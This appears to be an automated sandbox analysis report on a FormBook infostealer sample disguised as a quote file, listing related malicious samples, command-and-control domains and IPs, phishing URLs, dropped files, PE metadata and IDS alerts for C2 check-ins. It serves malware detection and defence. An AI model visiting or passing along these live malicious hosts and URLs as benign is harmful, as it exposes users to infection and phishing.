129.226.56.200	Re property pdf.exe	Get hash	malicious	FormBook	Browse	www.dxfwrc2h.sbs/170y/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.royapop.online	PO-000041522.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	PO#071024.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	PO#001498.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	CENA.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
www.onlineblikje.online	PO#001498.exe	Get hash	malicious	FormBook	Browse	213.249.67.10
www.onlineblikje.online	PO59458.exe	Get hash	malicious	FormBook	Browse	213.249.67.10
www.putizhong.homes	rDebitadvice22_10_2024.exe	Get hash	malicious	FormBook	Browse	154.7.176.67
www.putizhong.homes	ROQ_972923.exe	Get hash	malicious	FormBook	Browse	154.7.176.67
b1-3-r111.kunlundns.top	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
b1-3-r111.kunlundns.top	Re property pdf.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
www.xueerr.xyz	PO#001498.exe	Get hash	malicious	FormBook	Browse	129.226.176.90
www.mcse.top	PO#001498.exe	Get hash	malicious	FormBook	Browse	154.9.228.56
www.mcse.top	PO#001498.exe	Get hash	malicious	FormBook	Browse	154.9.228.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
METAREGISTRARNL	PO#001498.exe	Get hash	malicious	FormBook	Browse	213.249.67.10
	PO59458.exe	Get hash	malicious	FormBook	Browse	213.249.67.10
	https://pt.surveymonkey.com/tr/v1/te/sye1khVpXMoAOA1o9dS7KswyeoXWRMc0CsiALAVvL9R1AEKLpDw_2FQ_2BjGpzqh9gEIleg14i6r7hX4PBEN8h0srmKEUKwP1mLRZLbUUusCb9ijP9SUb3shd8eAxCFYZdX_2BMEbjAe9Z41yfltVavABteyxJzvgHPE3p8pCRndVvaQ4_3D	Get hash	malicious	Unknown	Browse	213.249.67.13
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	213.249.66.9
	https://plsdworkiqs.com/	Get hash	malicious	Unknown	Browse	213.249.67.40
	http://213.249.67.13/plesk-site-preview/chpostcrn.com/https/213.249.67.13/PostCH/	Get hash	malicious	Unknown	Browse	213.249.67.13
ACPCA	PO-Zam#U00f3wienie zakupu-8837837849-pl-.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	162.36.150.140
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	162.10.235.95
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	162.0.211.143
	nCEnoU35Wv.elf	Get hash	malicious	Okiru	Browse	162.0.215.71
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	162.0.101.75
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	162.0.215.244
	ceTv2SnPn9.elf	Get hash	malicious	Mirai	Browse	162.22.97.189
	Payment-Inv.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	bin.armv7l.elf	Get hash	malicious	Mirai	Browse	162.32.169.42
AS-26496-GO-DADDY-COM-LLCUS	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	184.168.110.229
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	50.63.117.197
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	132.148.42.184
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	72.167.33.48
	SecuriteInfo.com.Win32.MalwareX-gen.24889.8387.exe	Get hash	malicious	AgentTesla	Browse	43.255.154.55
	https://www.google.co.nz/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Ftejasviolin.com%2Fcharlieir%2FXHVsNVYTNZSjG4S2Sb86eRml/amNoaW5mb0BqdW1laXJhaC5jb20=	Get hash	malicious	HTMLPhisher	Browse	72.167.45.49
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.28.135
	WWjjNTGdMh.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	173.201.176.185
	Deposit-MT103-Advice - 10_17_2024 Ref_ 5b2643b83d4e9319371173f2d6400ef65933cc2b.eml	Get hash	malicious	Mamba2FA	Browse	166.62.88.163
	r0000000NT_PDF.exe	Get hash	malicious	FormBook	Browse	68.178.233.113
TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	https://app.writesonic.com/share/writing-assistant/d140c48b-3642-43bf-a085-e258c1fb4f03	Get hash	malicious	Unknown	Browse	162.62.150.176
	attachment(1).eml	Get hash	malicious	Unknown	Browse	162.62.150.176
	powerpc.elf	Get hash	malicious	Unknown	Browse	124.157.170.101
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	49.51.77.119
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	101.34.109.211
	PO 635614 635613_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	162.62.150.176
	m68k.elf	Get hash	malicious	Unknown	Browse	124.156.108.17
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	101.48.49.48
	https://api-restauration.basiic.net/fWmcv/	Get hash	malicious	Unknown	Browse	162.62.150.176
	https://thebatallangroup.taplink.ws/	Get hash	malicious	Unknown	Browse	49.51.78.226

Process:	C:\Users\user\Desktop\QUOTE2342534.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyus:lGLHyIFKL3IZ2KRH9Oug8s
MD5:	16AD599332DD2FF94DA0787D71688B62
SHA1:	02F738694B02E84FFE3BAB7DE5709001823C6E40
SHA-256:	452876FE504FC0DBEDBD7F8467E94F6E80002DB4572D02C723ABC69F8DF0B367
SHA-512:	A96158FDFFA424A4AC01220EDC789F3236C03AAA6A7C1A3D8BE62074B4923957E6CFEEB6E8852F9064093E0A290B0E56E4B5504D18113A7983F48D5388CEC747
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\4-4-J4

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1fn3xrnc.cr0.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b00qpjmh.qhf.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvw54zey.ku1.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ztmdjh4q.hu2.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9413677038231105
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	QUOTE2342534.exe
File size:	764'928 bytes
MD5:	c19949939d08baee86643132d7ce7542
SHA1:	5c8f131cb332bb49c68ab04cc2350c224d4d4d5b
SHA256:	a99f8a264c968ef7d4815a0bf6d53854d7c26da69adba84750c48c58bfea7384
SHA512:	c05c9842cf19000fa8e00b85994869744dac2f2db220accdc9ac096a3b4df0013a735278186cf1cf8b5611d333ca66f21794341bf2ba3e79b443171dea322645
SSDEEP:	12288:2Cfia3jk1mxlOsUAYZ2bmbcDAekn6Eb9bbaG8LtIjCeU6Pz/xP+KcFPlF:2Yi44mzOsU32JKFJbbarIjCEb/tcFtF
TLSH:	D7F422502AAC5B56D1FBABF5023725A613B6B62F6835F28D4CC618ED04F7F044AD0B1B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....m...............0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4bbeea
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD96D0FA5 [Sat Aug 4 22:41:41 2085 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbbe95	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbc000	0x630	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb9d78	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb9ef0	0xba000	0c4c073aaddb258f9695e5c9b06f954d	False	0.9543732673891129	data	7.948843186706725	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xbc000	0x630	0x800	5f04e635964b3dfbd48b36a21e6378d1	False	0.34033203125	data	3.484284373634759	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe000	0xc	0x200	75662875697957c447bf199d02a39469	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xbc090	0x3a0	data			0.4234913793103448
RT_MANIFEST	0xbc440	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T15:17:34.755819+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49787	129.226.56.200	80	TCP
2024-10-24T15:17:34.755819+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49787	129.226.56.200	80	TCP
2024-10-24T15:17:50.661493+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49866	162.0.215.33	80	TCP
2024-10-24T15:17:53.204856+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49877	162.0.215.33	80	TCP
2024-10-24T15:17:55.800063+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49893	162.0.215.33	80	TCP
2024-10-24T15:17:58.289735+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49908	162.0.215.33	80	TCP
2024-10-24T15:17:58.289735+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49908	162.0.215.33	80	TCP
2024-10-24T15:18:04.066733+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49940	154.7.176.67	80	TCP
2024-10-24T15:18:06.701912+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49956	154.7.176.67	80	TCP
2024-10-24T15:18:09.300403+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49972	154.7.176.67	80	TCP
2024-10-24T15:18:11.858271+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49988	154.7.176.67	80	TCP
2024-10-24T15:18:11.858271+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49988	154.7.176.67	80	TCP
2024-10-24T15:18:18.102772+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49991	118.139.178.37	80	TCP
2024-10-24T15:18:20.660384+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49992	118.139.178.37	80	TCP
2024-10-24T15:18:23.198270+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49993	118.139.178.37	80	TCP
2024-10-24T15:18:25.764032+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49994	118.139.178.37	80	TCP
2024-10-24T15:18:25.764032+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49994	118.139.178.37	80	TCP
2024-10-24T15:18:32.121083+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49995	3.33.130.190	80	TCP
2024-10-24T15:18:34.660847+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49996	3.33.130.190	80	TCP
2024-10-24T15:18:37.198128+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49997	3.33.130.190	80	TCP
2024-10-24T15:18:39.754324+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49998	3.33.130.190	80	TCP
2024-10-24T15:18:39.754324+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49998	3.33.130.190	80	TCP
2024-10-24T15:18:45.534874+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49999	209.74.64.190	80	TCP
2024-10-24T15:18:48.076990+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50000	209.74.64.190	80	TCP
2024-10-24T15:18:50.618876+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50001	209.74.64.190	80	TCP
2024-10-24T15:18:53.193242+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50002	209.74.64.190	80	TCP
2024-10-24T15:18:53.193242+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50002	209.74.64.190	80	TCP
2024-10-24T15:19:07.397027+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50003	84.32.84.32	80	TCP
2024-10-24T15:19:09.927429+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50004	84.32.84.32	80	TCP
2024-10-24T15:19:12.472446+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50005	84.32.84.32	80	TCP
2024-10-24T15:19:15.027966+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50006	84.32.84.32	80	TCP
2024-10-24T15:19:15.027966+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50006	84.32.84.32	80	TCP
2024-10-24T15:19:21.037599+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50007	84.32.84.32	80	TCP
2024-10-24T15:19:23.579947+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50008	84.32.84.32	80	TCP
2024-10-24T15:19:26.144998+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50009	84.32.84.32	80	TCP
2024-10-24T15:19:28.733341+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50010	84.32.84.32	80	TCP
2024-10-24T15:19:28.733341+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50010	84.32.84.32	80	TCP
2024-10-24T15:19:34.648166+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50011	3.33.130.190	80	TCP
2024-10-24T15:19:37.197064+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50012	3.33.130.190	80	TCP
2024-10-24T15:19:40.664933+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50013	3.33.130.190	80	TCP
2024-10-24T15:19:43.191467+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50014	3.33.130.190	80	TCP
2024-10-24T15:19:43.191467+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50014	3.33.130.190	80	TCP
2024-10-24T15:19:50.506125+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50015	154.9.228.56	80	TCP
2024-10-24T15:19:53.162610+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50016	154.9.228.56	80	TCP
2024-10-24T15:19:55.190262+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50017	154.9.228.56	80	TCP
2024-10-24T15:19:58.261258+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50018	154.9.228.56	80	TCP
2024-10-24T15:19:58.261258+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50018	154.9.228.56	80	TCP
2024-10-24T15:20:04.161070+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50019	84.32.84.32	80	TCP
2024-10-24T15:20:06.704003+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50020	84.32.84.32	80	TCP
2024-10-24T15:20:09.260559+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50021	84.32.84.32	80	TCP
2024-10-24T15:20:11.898123+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50022	84.32.84.32	80	TCP
2024-10-24T15:20:11.898123+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50022	84.32.84.32	80	TCP
2024-10-24T15:20:17.685267+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50023	3.33.130.190	80	TCP
2024-10-24T15:20:20.245208+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50024	3.33.130.190	80	TCP
2024-10-24T15:20:22.794697+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50025	3.33.130.190	80	TCP
2024-10-24T15:20:25.338793+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50026	3.33.130.190	80	TCP
2024-10-24T15:20:25.338793+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50026	3.33.130.190	80	TCP
2024-10-24T15:20:31.649129+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50027	129.226.176.90	80	TCP
2024-10-24T15:20:34.211362+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50028	129.226.176.90	80	TCP
